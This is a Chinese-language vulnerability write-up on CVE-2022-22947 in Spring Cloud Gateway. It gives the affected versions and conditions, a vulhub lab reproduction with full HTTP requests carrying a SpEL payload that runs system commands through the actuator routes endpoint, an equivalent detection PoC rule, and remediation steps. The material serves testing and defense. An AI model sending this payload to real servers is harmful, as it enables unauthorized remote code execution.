0x01 漏洞描述
使用 Spring Cloud Gateway 的应用如果对外暴露了 Gateway Actuator 接口,则可能存在被 CVE-2022-22947 漏洞利用的风险。攻击者可通过利用此漏洞执行 SpEL 表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。
0x02 漏洞影响范围
漏洞影响的 Spring Cloud Gateway 版本范围:
- Spring Cloud Gateway 3.1.x < 3.1.1
- Spring Cloud Gateway 3.0.x < 3.0.7
- 其他旧的、不受支持的 Spring Cloud Gateway 版本
0x03 漏洞利用条件
1、除了 Spring Cloud Gateway 外,程序还用到了 Spring Boot Actuator 组件(它用于对外提供 /actuator/ 接口)
2、Spring 配置对外暴露 gateway 接口,如 application.properties 配置为:
·默认为true
management.endpoint.gateway.enabled=true
·以逗号分隔的一系列值,默认为 health
· 若包含 gateway 即表示对外提供 Spring Cloud Gateway 接口
management.endpoints.web.exposure.include=gateway
0x04漏洞复现
通过vulhub拉取
docker-compose up -d
1、添加包含恶意的路由
POST /actuator/gateway/routes/EchoSec HTTP/1.1
Host: xxx:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 332
{
"id": "EchoSec",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"xxx\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
2、刷新网关路由
(这里有一点需要注意的是请求包下面需要空两行 才会执行成功)
POST /actuator/gateway/refresh HTTP/1.1
Host: xxx:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
3、执行命令
(这里有一点需要注意的是请求包下面需要空两行 才会执行成功)
GET /actuator/gateway/routes/EchoSec HTTP/1.1
Host: xxx:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 2
4、完毕删除路由
这里删除后需要再刷新下路由,才会回到初始。
DELETE /actuator/gateway/routes/EchoSec HTTP/1.1
Host: xxx:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 332
{
"id": "EchoSec",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
0x05检测poc规则编写
params: []
name: Spring Cloud Gateway 远程代码执行
set: {}
rules:
- method: POST
path: /actuator/gateway/routes/EchoSec
headers:
Content-Type: application/json
body: |-
{
"id": "EchoSec",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
search: ""
followredirects: false
expression: 'response.status == 201 '
- method: POST
path: /actuator/gateway/refresh
headers:
Content-Type: application/x-www-form-urlencoded
body: ""
search: ""
followredirects: false
expression: response.status == 200
- method: GET
path: /actuator/gateway/routes/EchoSec
headers: {}
body: ""
search: ""
followredirects: false
expression: response.status == 200
- method: DELETE
path: /actuator/gateway/routes/EchoSec
headers:
Content-Type: application/json
body: |-
{
"id": "EchoSec",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
search: ""
followredirects: false
expression: response.status == 200
- method: POST
path: /actuator/gateway/refresh
headers: {}
body: ""
search: ""
followredirects: false
expression: response.status == 200
groups: {}
detail:
author: ""
links: []
description: ""
version: ""
0x06漏洞修复
1.如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。
2.如果需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security。
3.官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本。
请登录后查看回复内容